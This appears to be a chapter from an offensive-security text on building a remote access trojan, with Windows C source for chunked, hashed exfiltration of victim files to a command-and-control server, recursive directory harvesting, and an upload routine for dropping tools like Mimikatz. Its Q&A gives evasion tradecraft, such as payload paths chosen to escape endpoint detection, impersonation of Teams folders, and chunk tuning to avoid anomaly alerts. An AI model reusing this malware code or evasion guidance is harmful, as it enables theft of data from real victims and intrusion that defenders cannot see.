File Transfer Operations
File transfer is one of the most operationally critical RAT capabilities: downloading files from the victim for exfiltration, uploading tools to the victim for further exploitation, and doing both reliably across slow links, interrupted connections, and networks that inspect HTTP content. This chapter covers both directions — download (victim → C2) and upload (C2 → victim) — with chunking for reliability, compression for efficiency, and integrity verification to confirm files arrived intact.
File Download — Victim to C2 (Exfiltration)
/* file_transfer.c — Chunked, compressed, verified file exfiltration */
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
#define CHUNK_SIZE (64 * 1024) /* 64KB per chunk */
#define FILE_HASH_LEN 32 /* SHA-256 = 32 bytes */
/* File transfer metadata header (sent before first chunk) */
typedef struct __attribute__((packed)) {
BYTE magic[4]; /* "FTXF" */
BYTE file_hash[32]; /* SHA-256 of entire file (for verification) */
DWORD total_chunks; /* How many chunks to expect */
DWORD total_size; /* Total file size in bytes */
DWORD chunk_size; /* Bytes per chunk (last chunk may be smaller) */
WCHAR original_path[MAX_PATH]; /* Original file path on victim */
} FileTransferHeader;
/* Compute SHA-256 of a file using BCrypt */
BOOL compute_file_hash(const WCHAR *path, BYTE hash_out[32]) {
HANDLE hFile = CreateFileW(path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_HASH_HANDLE hHash = NULL;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0);
DWORD obj_sz = 0, dummy = 0;
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&obj_sz, 4, &dummy, 0);
BYTE *hash_obj = (BYTE*)alloca(obj_sz);
BCryptCreateHash(hAlg, &hHash, hash_obj, obj_sz, NULL, 0, 0);
BYTE buf[65536]; DWORD read_bytes;
while (ReadFile(hFile, buf, sizeof(buf), &read_bytes, NULL) && read_bytes > 0)
BCryptHashData(hHash, buf, read_bytes, 0);
BCryptFinishHash(hHash, hash_out, 32, 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hAlg, 0);
CloseHandle(hFile);
return TRUE;
}
/* Download a file from victim to C2 using the chunked exfil pipeline */
BOOL file_download(const WCHAR *file_path) {
/* Get file size */
WIN32_FILE_ATTRIBUTE_DATA fa = {0};
if (!GetFileAttributesExW(file_path, GetFileExInfoStandard, &fa)) {
printf("[-] Cannot access: %ls\n", file_path);
return FALSE;
}
DWORD64 file_size = ((DWORD64)fa.nFileSizeHigh << 32) | fa.nFileSizeLow;
if (file_size == 0) { printf("[-] Empty file: %ls\n", file_path); return FALSE; }
/* Compute file hash for integrity verification */
FileTransferHeader header = {0};
memcpy(header.magic, "FTXF", 4);
compute_file_hash(file_path, header.file_hash);
header.total_size = (DWORD)file_size;
header.total_chunks = (DWORD)((file_size + CHUNK_SIZE - 1) / CHUNK_SIZE);
header.chunk_size = CHUNK_SIZE;
wcsncpy(header.original_path, file_path, MAX_PATH - 1);
printf("[+] Downloading: %ls (%llu bytes, %lu chunks)\n",
file_path, file_size, header.total_chunks);
/* Send header to C2 first */
/* append_result(TASK_FILE_DOWNLOAD_HEADER, (BYTE*)&header, sizeof(header)) */
/* Open file with shared access so we can read locked files */
HANDLE hFile = CreateFileW(file_path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open file (even with shared flags)\n");
return FALSE;
}
/* Read and queue each chunk */
BYTE *chunk_buf = (BYTE*)VirtualAlloc(NULL, CHUNK_SIZE + 16,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
DWORD chunk_num = 0;
DWORD bytes_read = 0;
BOOL success = TRUE;
while (ReadFile(hFile, chunk_buf + 8, CHUNK_SIZE, &bytes_read, NULL) && bytes_read > 0) {
/* Prepend chunk header: [chunk_num(4)][chunk_len(4)] */
*(DWORD*)(chunk_buf+0) = chunk_num;
*(DWORD*)(chunk_buf+4) = bytes_read;
/* Queue chunk for exfil */
/* append_result(TASK_FILE_DOWNLOAD_CHUNK, chunk_buf, bytes_read + 8) */
printf(" Chunk %lu/%lu: %lu bytes\n", chunk_num+1, header.total_chunks, bytes_read);
chunk_num++;
}
VirtualFree(chunk_buf, 0, MEM_RELEASE);
CloseHandle(hFile);
printf("[+] File queued for exfil: %lu chunks\n", chunk_num);
return success;
}
/* Recursive directory download: download all matching files in a directory tree */
void recursive_download(const WCHAR *dir_path, const WCHAR *pattern) {
WCHAR search_path[MAX_PATH * 2];
swprintf(search_path, MAX_PATH * 2, L"%s\\*", dir_path);
WIN32_FIND_DATAW fd = {0};
HANDLE hFind = FindFirstFileW(search_path, &fd);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
continue;
WCHAR full_path[MAX_PATH * 2];
swprintf(full_path, MAX_PATH * 2, L"%s\\%s", dir_path, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
recursive_download(full_path, pattern); /* Recurse */
} else {
/* Check if filename matches pattern */
if (!pattern || PathMatchSpecW(fd.cFileName, pattern))
file_download(full_path);
}
} while (FindNextFileW(hFind, &fd));
FindClose(hFind);
}
File Upload — C2 to Victim
/* file_upload.c — Receive a file from C2 and write to victim disk */
/*
* Upload use cases:
* - Dropping additional tools (Mimikatz, BloodHound, custom implants)
* - Updating the agent binary with a new version
* - Sending configuration updates (new C2 host, updated task list)
* - Placing decoy files for persistence (fake documents)
*
* Security: AES-256-GCM encrypt uploads in transit (same as everything else).
* Verify SHA-256 hash of received file before writing to disk.
* Never write to a path controlled by the operator without sanitizing it.
*/
typedef struct {
BYTE expected_hash[32]; /* SHA-256 we expect to receive */
DWORD total_size;
DWORD total_chunks;
WCHAR dest_path[MAX_PATH]; /* Where to write on victim */
} UploadParams;
typedef struct {
UploadParams params;
BYTE *file_buffer; /* Accumulate chunks in memory before writing */
DWORD bytes_received;
BOOL complete;
} UploadState;
static UploadState g_upload = {0};
/* Called when agent receives a TASK_FILE_UPLOAD_START task */
BOOL upload_begin(const UploadParams *params) {
memcpy(&g_upload.params, params, sizeof(*params));
g_upload.file_buffer = (BYTE*)VirtualAlloc(NULL, params->total_size + 4096,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!g_upload.file_buffer) return FALSE;
g_upload.bytes_received = 0;
g_upload.complete = FALSE;
printf("[+] Upload started: %lu bytes to %ls\n", params->total_size, params->dest_path);
return TRUE;
}
/* Called for each TASK_FILE_UPLOAD_CHUNK */
BOOL upload_chunk(DWORD chunk_num, const BYTE *data, DWORD data_len) {
DWORD offset = chunk_num * g_upload.params.total_size / g_upload.params.total_chunks;
/* More precisely: compute offset from chunk_num × chunk_size */
if (g_upload.bytes_received + data_len > g_upload.params.total_size) return FALSE;
memcpy(g_upload.file_buffer + g_upload.bytes_received, data, data_len);
g_upload.bytes_received += data_len;
printf(" Upload chunk %lu received (%lu/%lu bytes)\n",
chunk_num, g_upload.bytes_received, g_upload.params.total_size);
if (g_upload.bytes_received >= g_upload.params.total_size) {
return upload_complete();
}
return TRUE;
}
/* Verify hash and write file to disk */
static BOOL upload_complete(void) {
/* Verify SHA-256 */
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_HASH_HANDLE hHash = NULL;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0);
DWORD obj_sz = 0, dummy = 0;
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&obj_sz, 4, &dummy, 0);
BYTE *hash_obj = (BYTE*)alloca(obj_sz);
BCryptCreateHash(hAlg, &hHash, hash_obj, obj_sz, NULL, 0, 0);
BCryptHashData(hHash, g_upload.file_buffer, g_upload.bytes_received, 0);
BYTE actual_hash[32] = {0};
BCryptFinishHash(hHash, actual_hash, 32, 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hAlg, 0);
if (memcmp(actual_hash, g_upload.params.expected_hash, 32) != 0) {
printf("[-] Upload hash mismatch — data corrupted in transit, rejecting\n");
VirtualFree(g_upload.file_buffer, 0, MEM_RELEASE);
return FALSE;
}
printf("[+] Hash verified ✓\n");
/* Write to destination path */
HANDLE hFile = CreateFileW(g_upload.params.dest_path, GENERIC_WRITE,
0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot create: %ls\n", g_upload.params.dest_path);
VirtualFree(g_upload.file_buffer, 0, MEM_RELEASE);
return FALSE;
}
DWORD written = 0;
WriteFile(hFile, g_upload.file_buffer, g_upload.bytes_received, &written, NULL);
CloseHandle(hFile);
VirtualFree(g_upload.file_buffer, 0, MEM_RELEASE);
printf("[+] File written: %ls (%lu bytes)\n",
g_upload.params.dest_path, written);
g_upload.complete = TRUE;
return TRUE;
}
Questions & Answers
How do you handle interrupted file transfers without restarting from the beginning?
Resumable transfers require state persistence. On the exfiltration side (victim → C2): maintain a per-file transfer record with the last successfully exfiltrated chunk number. If the agent restarts or the connection drops, resume from the last confirmed chunk. The C2 server acknowledges each received chunk with its chunk number — the agent tracks this in the result buffer, and on next beacon, sends only the unacknowledged chunks. On the upload side (C2 → victim): the upload state struct tracks bytes_received. If the session is interrupted mid-upload, on next session the agent checks if an incomplete upload state exists (stored in a heap allocation marked with a sentinel) and requests the C2 to resume from bytes_received. Protocol: the C2 server always stores the full file until the transfer is confirmed complete. Agents include a "transfer resume" capability in their capability report — the C2 server uses this to know whether to restart or resume interrupted transfers. For large file exfiltration (hundreds of MB of database exports), resumable transfers are essential — a dropped connection at 95% completion doesn't restart from 0.
How do you compress files before exfiltration without writing compressed versions to disk?
Windows has RtlCompressBuffer (ntdll, no import needed) which compresses data in memory using LZNT1 or XPRESS format. Call sequence: RtlGetCompressionWorkSpaceSize() → alloca() the workspace → RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS_HUFF, input, input_len, output, output_len, chunk_size, &final_compressed_size, workspace). XPRESS with Huffman (FORMAT_XPRESS_HUFF) gives compression similar to zlib (~2-4x for typical documents). For better compression: link in miniz (a single-file zlib implementation in C — ~1000 lines) and use mz_compress2() with MZ_BEST_COMPRESSION. Neither approach writes anything to disk — the compressed data stays in VirtualAlloc'd memory until it's queued for exfil. Compression ratio matters most for document-heavy exfiltration: a 10MB collection of .docx files compresses to ~1-2MB, reducing exfil time by 5-10x at 64KB chunks. Don't compress already-compressed data: .zip, .7z, .png, .jpg — these are already compressed and RtlCompressBuffer may make them slightly larger. Check file extension before compressing.
What's the safest path to write uploaded tools to on the victim machine?
From safest (least detected) to riskier: (1) %TEMP% / %APPDATA%\Temp: user-writable, expected to have temporary files, less scanned by endpoint products for persistent threats. Use: C:\Users\username\AppData\Local\Temp\[random-name].exe. (2) %APPDATA%\Roaming\[app-name]\: many legitimate applications write here. Impersonate an existing application name (e.g., write to AppData\Roaming\Microsoft\Teams\ with a Teams-looking filename). (3) %PROGRAMDATA%: requires no elevation, slightly more visibility than AppData. Avoid: %PROGRAMFILES% (requires elevation), C:\Windows\System32\ (extremely monitored), Desktop (user sees it), and any path ending in .exe if you're going to be there for a while (endpoint products scan .exe files heavily). For tools that run once and exit (enumeration tools, lateral movement payloads), writing to %TEMP% and deleting immediately after execution is the best approach. For persistent components: write to a less-watched subdirectory of %APPDATA% with a non-suspicious name.
How do you exfiltrate files over 1GB without running out of agent memory?
The chunk pipeline solves this: never buffer the entire file in memory. The download flow for large files: open the file → read CHUNK_SIZE bytes → immediately queue the chunk for exfil → the exfil queue's send loop transmits the chunk and frees it → read the next chunk. At steady state, you hold at most 2-3 chunks in memory simultaneously (one being read, one queued, one being sent). For a 10GB database dump: memory usage stays at ~200KB regardless of file size. The limiting factor becomes time, not memory: at 64KB chunks and 30-second beacons, 10GB takes 43 hours of continuous exfiltration. For large files, increase the chunk size to 1MB (16x larger chunks = 16x faster) and accept slightly higher per-request anomaly risk, or use a faster beacon interval (10 seconds). Adaptive chunk sizing: start with 64KB, measure how quickly the C2 is absorbing chunks (did all queued chunks drain before the next beacon?), and if the queue drains quickly, increase chunk size automatically.
How does SHA-256 verification protect against man-in-the-middle attacks on file uploads?
The upload flow: C2 sends expected_hash (SHA-256 of the file) before sending chunks. The agent accumulates all chunks, computes SHA-256 of the assembled bytes, and compares with expected_hash. If they don't match, the file is rejected. This protects against: (1) Data corruption in transit (bit flips, truncation), ensuring tools you upload actually work. (2) Content substitution by a network MITM: if someone intercepts the upload channel and replaces the file contents, the hash won't match. The caveat: this only works if the expected_hash itself is authentic. If the MITM intercepts both the hash and the file and replaces both consistently, verification still passes with the corrupted content. True MITM protection requires the hash to be authenticated — either transmitted over the TLS channel (already encrypted) or signed with the operator's private key. Since the C2 communication uses AES-256-GCM (Ch71), the hash transmission itself is authenticated by the GCM tag. A MITM that can forge GCM tags on your encrypted C2 channel has much bigger problems to worry about than your file transfer verification.